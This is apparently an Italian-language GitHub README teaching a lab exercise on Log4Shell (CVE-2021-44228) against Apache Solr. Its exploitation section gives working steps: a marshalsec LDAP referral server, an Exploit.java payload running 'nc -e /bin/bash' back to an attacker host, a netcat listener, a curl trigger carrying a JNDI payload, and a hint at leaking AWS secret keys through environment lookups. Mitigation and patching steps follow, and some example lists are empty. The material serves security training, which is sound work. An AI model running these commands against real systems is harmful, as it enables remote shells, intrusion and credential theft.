muhammad-ali007/log4j_cve-2021-44228
La vulnerabilità Log4j, nota anche come "Log4Shell" o "CVE-2021-44228", è una grave falla di sicurezza nella libreria Apache Log4j. Log4j è un framework di logging ampiamente utilizzato in ambienti Java che consente agli sviluppatori di registrare messaggi dalle applicazioni verso varie destinazioni, come file, database e output di console.
La vulnerabilità è stata scoperta nel dicembre 2021 e ha attirato notevole attenzione a causa della sua gravità e del potenziale sfruttamento. Colpisce le versioni 2.x di Log4j e, in alcuni casi, anche versioni precedenti. La vulnerabilità Log4j è una vulnerabilità di Remote Code Execution (RCE), il che significa che un attaccante può eseguire codice arbitrario su un sistema bersaglio sfruttando la falla. La vulnerabilità è causata da un difetto di progettazione nella libreria Log4j relativo all'elaborazione di messaggi di log contenenti dati appositamente creati.
Lo sfruttamento della vulnerabilità si basa sulla capacità di iniettare codice malevolo nel messaggio di log. Ciò può essere ottenuto attraverso vari vettori, come campi di input controllati dall'utente, header di richieste HTTP o altri dati forniti dall'utente che vengono passati all'istruzione di log.
Quando un'applicazione vulnerabile elabora un messaggio di log contenente i dati appositamente creati, Log4j interpreta i dati come una lookup Java Naming and Directory Interface (JNDI). Sfruttando questo comportamento, un attaccante può creare un payload che attiva una lookup JNDI verso un server malevolo controllato dall'attaccante. Questo server può quindi rispondere con un payload che viene eseguito sul sistema bersaglio, consentendo all'attaccante di ottenere l'esecuzione remota di codice.
L'impatto della vulnerabilità Log4j è grave perché Log4j è ampiamente utilizzato in varie applicazioni basate su Java, inclusi server web, applicazioni e servizi cloud. La vulnerabilità consente agli attaccanti di ottenere accesso non autorizzato ai sistemi compromessi, portando potenzialmente a violazioni dei dati, compromissione del sistema e ulteriore sfruttamento dell'ambiente compromesso.
Oggi è disponibile la versione 2.16.0 di log4j che corregge questa vulnerabilità (JNDI è completamente disabilitato, il supporto per Message Lookups è stato rimosso e la nuova vulnerabilità DoS CVE-2021-45046 non è presente). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)
Tuttavia, il pericolo enorme di questa vulnerabilità è dovuto a quanto sia pervasivo il pacchetto di logging. Milioni di applicazioni e fornitori di software utilizzano questo pacchetto come dipendenza nel proprio codice. Mentre potresti essere in grado di correggere il tuo codice che utilizza log4j, altri vendor e produttori dovranno comunque distribuire le proprie patch di sicurezza a valle. Molti ricercatori di sicurezza hanno paragonato questa vulnerabilità a Shellshock per la natura della sua enorme superficie d'attacco. Vedremo questa vulnerabilità per anni a venire.
Per un elenco in continua crescita, supportato dalla community, di software e servizi vulnerabili a CVE-2021-44228, dai un'occhiata a questo repository GitHub (https://github.com/YfryTchsGD/Log4jAttackSurface)
Sebbene esistano molti altri articoli, blog, risorse e materiali di apprendimento su CVE-2021-44228, io (l'autore di questo esercizio) prediligo in particolare questi:
Il pacchetto log4j aggiunge logica extra ai log "analizzando" le voci, in definitiva per arricchire i dati — ma può anche eseguire azioni e persino valutare codice basato sui dati delle voci. Questo è il succo di CVE-2021-44228. Altre sintassi potrebbero infatti essere eseguite esattamente come vengono inserite nei file di log. Alcuni esempi di questa sintassi sono:
Potresti già conoscere il payload generale per abusare di questa vulnerabilità log4j. Il formato della sintassi tipica che sfrutta questa falla è il seguente:
Questa sintassi indica che log4j invocherà funzionalità da "JNDI", ovvero la "Java Naming and Directory Interface". In definitiva, ciò può essere usato per accedere a risorse esterne, o "references", che è ciò che viene armato in questo attacco.
Nota lo schema "ldap://". Questo indica che il bersaglio contatterà un endpoint (una posizione controllata dall'attaccante, nel caso di questo attacco) tramite il protocollo LDAP. Per brevità, non sarà necessario coprire tutti i dettagli di LDAP qui, ma sappi che è qualcosa con cui dovremo lavorare mentre affiniamo il nostro attacco. Per ora, tieni presente che il bersaglio effettuerà una connessione verso una posizione esterna. Questo è indicato dal segnaposto ATTACKERCONTROLLEDHOST nella sintassi precedente. Tu, nel ruolo dell'attaccante in questo scenario, puoi ospitare un semplice listener per visualizzare questa connessione.
La prossima domanda è: dove potremmo inserire questa sintassi? Ovunque ci siano dati registrati dall'applicazione.
Questo è il cuore della vulnerabilità. Purtroppo, è molto difficile determinare dove sia la superficie d'attacco per diverse applicazioni e, di conseguenza, quali applicazioni siano effettivamente vulnerabili. Il semplice vedere la presenza di file log4j non rivela il numero di versione esatto, né dove o come l'applicazione potrebbe utilizzare il pacchetto.
Altri punti in cui potresti fornire questa sintassi JNDI:
Se desideri maggiori informazioni su questo vettore d'attacco JNDI, consulta questa presentazione Black Hat USA del 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
POC
Exploitation A questo punto hai verificato che il bersaglio è effettivamente vulnerabile vedendo questa connessione catturata dal tuo listener netcat. Tuttavia, ha effettuato una richiesta LDAP... quindi tutto ciò che il tuo listener netcat potrebbe aver visto sono caratteri non stampabili (byte dall'aspetto strano). Ora possiamo costruire su questa base per rispondere con un vero handler LDAP.
Utilizzeremo un'utilità open-source e pubblica per organizzare un "LDAP Referral Server". Questo verrà usato essenzialmente per reindirizzare la richiesta iniziale della vittima verso un'altra posizione, dove potrai ospitare un payload secondario che alla fine eseguirà codice sul bersaglio. Il funzionamento si scompone così:
Questo significa che avremo bisogno di un server HTTP, che possiamo semplicemente ospitare con una delle seguenti opzioni (servendo sulla porta 8000):
La prima cosa da fare, tuttavia, è ottenere l'LDAP Referral Server. Useremo l'utilità marshalsec offerta su https://github.com/mbechler/marshalsec
In definitiva, questo richiede Java. Leggendo il README di questa utilità, suggerisce di usare Java 8. (Potresti riuscirci o meno con una versione diversa, ma per "seguire le regole", abbineremo la stessa versione di Java usata sulla macchina bersaglio).
Vedi i passaggi per installare Java 8 localmente:
Esegui i seguenti comandi per configurare il tuo sistema affinché usi questa versione Java come predefinita (regola il percorso del file scaricato come appropriato): Comandi: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # modify the version as needed sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
Dopo aver scaricato, estratto e impostato le impostazioni appropriate del filesystem (la sintassi update-alternatives) di cui sopra, dovresti essere in grado di eseguire "java -version" e verificare che ora stai davvero eseguendo Java 1.8.0_181.
Clona (https://github.com/mbechler/marshalsec) e spostati nella nuova cartella "marshalsec".
Dobbiamo compilare marshalsec con il builder Java maven. Se non hai ancora maven sul tuo sistema, puoi installarlo tramite il tuo gestore di pacchetti: Comando: sudo apt install maven
Successivamente, esegui il comando per compilare l'utilità marshalsec: Comando: mvn clean package -DskipTests
Con l'utilità marshalsec compilata, possiamo avviare un server di referral LDAP per indirizzare le connessioni al nostro server HTTP secondario (che prepareremo tra un momento). Sei più che invitato ad approfondire l'uso, i parametri e le altre impostazioni configurabili con questo strumento — ma per motivi di dimostrazione, la sintassi per avviare il server LDAP è la seguente: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000.
Ora che il nostro server LDAP è pronto e in attesa, possiamo aprire una seconda finestra di terminale per preparare il nostro payload finale e il server HTTP secondario.
In definitiva, la vulnerabilità log4j eseguirà codice arbitrario che crei nel linguaggio di programmazione Java. Se non hai familiarità con Java, niente paura: useremo una sintassi semplice che semplicemente "chiama" l'esecuzione di un comando di sistema. Infatti, recupereremo una connessione reverse shell così da ottenere il controllo sulla macchina bersaglio! Crea e spostati in una nuova directory dove ospitare questo payload. Per prima cosa, crea il tuo payload in un editor di testo a tua scelta (mousepad, nano, vim, Sublime Text, VS Code, qualunque cosa), con il nome specifico "Exploit.java" (fornito in questo repository). Modifica l'indirizzo IP del tuo attaccante e il numero di porta come appropriato.
Per questo payload, puoi vedere che eseguiremo un comando sul bersaglio, in particolare nc -e /bin/bash per richiamare la nostra macchina attaccante, anche se sei più che invitato a sperimentare con altri payload.
Compila il tuo payload con "javac Exploit.java" e verifica che sia riuscito eseguendo il comando "ls" e trovando un nuovo file "Exploit.class". Con il tuo payload creato e compilato, puoi ora ospitarlo avviando un server HTTP temporaneo. user@host:~/ python3 -m http.server
Il tuo payload è creato e compilato, è ospitato con un server HTTP in un terminale, il tuo server di referral LDAP è attivo e in attesa in un altro terminale — successivamente prepara un listener netcat per catturare la tua reverse shell in un'altra nuova finestra di terminale: user@host$ nc -lnvp 9999
Infine, non resta che innescare l'exploit e sparare la nostra sintassi JNDI! Nota i cambiamenti nel numero di porta (ora riferiti al nostro server LDAP) e la risorsa che recuperiamo, specificando il nostro exploit (Modifica l'indirizzo IP del tuo attaccante come appropriato): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
Ora hai ottenuto accesso iniziale e comando e controllo. A questo punto, un attaccante reale può realisticamente fare quello che vuole con la vittima — che si tratti di escalation dei privilegi, esfiltrazione, installazione di persistenza, movimento laterale o qualsiasi altra attività post-exploitation — potenzialmente rilasciando miner di criptovalute, trojan ad accesso remoto, beacon e implant o persino distribuendo ransomware.
Persistence Ora che hai ottenuto una connessione reverse shell sulla macchina vittima, puoi continuare a compiere qualsiasi azione desideri. Per comprendere meglio questa vulnerabilità log4j, concediamoci un "accesso migliore" così da poter esplorare la macchina, analizzare i log compromessi e persino mitigare la vulnerabilità!
Se desideri "stabilizzare la tua shell" per digitare i comandi più facilmente, puoi usare il solito trucco di upgrade (supponendo che tu stia lavorando in una shell bash. Se stai usando zsh, dovrai aver avviato il tuo listener netcat in una subshell bash... dovrebbe essere abbastanza facile da ri-sfruttare):
Ora hai una shell stabile, in cui puoi usare in sicurezza i tasti freccia sinistra e destra per spostarti nel tuo input, i tasti freccia su e giù per ripercorrere la cronologia dei comandi, Tab per il completamento automatico e Ctrl+C per fermare i programmi in esecuzione!
Detection Purtroppo, trovare applicazioni vulnerabili a CVE-2021-44228 "Log4Shell" è difficile. Rilevare lo sfruttamento potrebbe essere ancora più difficile, considerando la quantità illimitata di potenziali bypass.
Detto questo, la community della sicurezza informatica ha visto uno straordinario sforzo e supporto nello sviluppo di strumenti, script e codice per contenere meglio questa minaccia. Puoi trovare un'enorme quantità di risorse online.
Di seguito alcuni snippet che potrebbero aiutare in entrambi gli sforzi:
Come promemoria, una risorsa enorme è disponibile qui:
Bypasses Il payload JNDI che ho mostrato è la sintassi standard e "tipica" per eseguire questo attacco. Se sei un penetration tester o un red teamer, questa sintassi potrebbe essere intercettata dai web application firewall (WAF) o facilmente rilevata. Se sei un blue teamer o un incident responder, dovresti cercare e rilevare attivamente quella sintassi.
Poiché questo attacco sfrutta log4j, il payload può in definitiva accedere a tutti i trucchi di espansione, sostituzione e templating che il pacchetto rende disponibili. Ciò significa che un attaccante potrebbe usare qualsiasi tipo di trucco per nascondere, mascherare o offuscare il payload.
Detto questo, in tutta onestà esiste un numero illimitato di bypass per intrufolare questa sintassi. Anche se non entreremo nei dettagli in questo esercizio, sei incoraggiato a sperimentarli in questo ambiente. Leggili attentamente per capire quali trucchi vengono usati per mascherarre la sintassi originale.
Ci sono numerose risorse online che mostrano alcuni esempi di questi bypass, con alcuni riportati di seguito:
Nota l'uso del protocollo rmi:// nell'ultimo. Anche questa è un'altra tecnica valida che può essere usata con l'utilità marshalsec — sentiti libero di sperimentare!
Inoltre, all'interno del motore log4j, puoi espandere variabili d'ambiente arbitrarie (come se non fosse già abbastanza grave). Considera il danno che potrebbe essere fatto anche senza esecuzione remota di codice, ma con una semplice connessione LDAP e l'esfiltrazione di ${env:AWS_SECRET_ACCESS_KEY}
Per altre tecniche, sei fortemente incoraggiato a fare le tue ricerche. C'è una quantità significativa di informazioni condivise in questo thread Reddit: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/
Mitigation Ora che hai recitato la parte dell'avversario per un po', togliti il cappello da hacker e mitigiamo la vulnerabilità. Rivedi le tecniche di mitigazione suggerite sul sito web di Apache Solr. (https://solr.apache.org/security.html)
Un'opzione è modificare manualmente il file "solr.in.sh" con una sintassi specifica. Seguiamo questa strada per mostrare questa tattica difensiva.
La pagina sulla Sicurezza del sito web Apache Solr spiega che puoi aggiungere questa sintassi specifica al file solr.in.sh:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
Modifica il file solr.in.sh con un editor di testo a tua scelta. Avrai bisogno del prefisso sudo per ottenere i privilegi di root se non sei già root. Scorri fino in fondo al file e aggiungi una nuova riga con la sintassi sopra. Salva e chiudi il file.
Ora che il file di configurazione è stato modificato, il servizio deve comunque essere riavviato affinché le modifiche abbiano effetto. Comando: user@host$ sudo /etc/init.d/solr restart
Per verificare che la patch sia stata applicata, avvia un altro listener netcat come prima e riavvia il tuo server di referral LDAP temporaneo e il server HTTP (di nuovo in terminali separati). Dovrai ricreare la stessa configurazione per ri-sfruttare la macchina.
Dovresti vedere che nessuna richiesta viene fatta al tuo server LDAP temporaneo, di conseguenza nessuna richiesta viene fatta al tuo server HTTP e... nessuna reverse shell viene inviata al tuo listener netcat!
Patching Al momento della creazione di questo esercizio, Apache Solr 8.11.1 non è ancora stato rilasciato con una patch formale per CVE-2021-44228. Insieme a molti altri fornitori di software, il settore si sta affannando per correggere i propri software e distribuirli agli utenti finali il più rapidamente possibile.
Dove appropriato, assicurati di aggiornare il pacchetto logging-log4j alla versione 2.16.0 o successiva (man mano che diventano disponibili nuove release). Nella versione 2.16.0, JNDI è completamente disabilitato, il supporto per Message Lookups è stato rimosso e la nuova vulnerabilità DoS CVE-2021-45046 non è presente. Scarica questa release qui: https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0Se sei responsabile dell'identificazione di servizi vulnerabili che utilizzano log4j, qui è disponibile un elenco di alcuni tra i servizi/prodotti maggiormente colpiti (https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/).
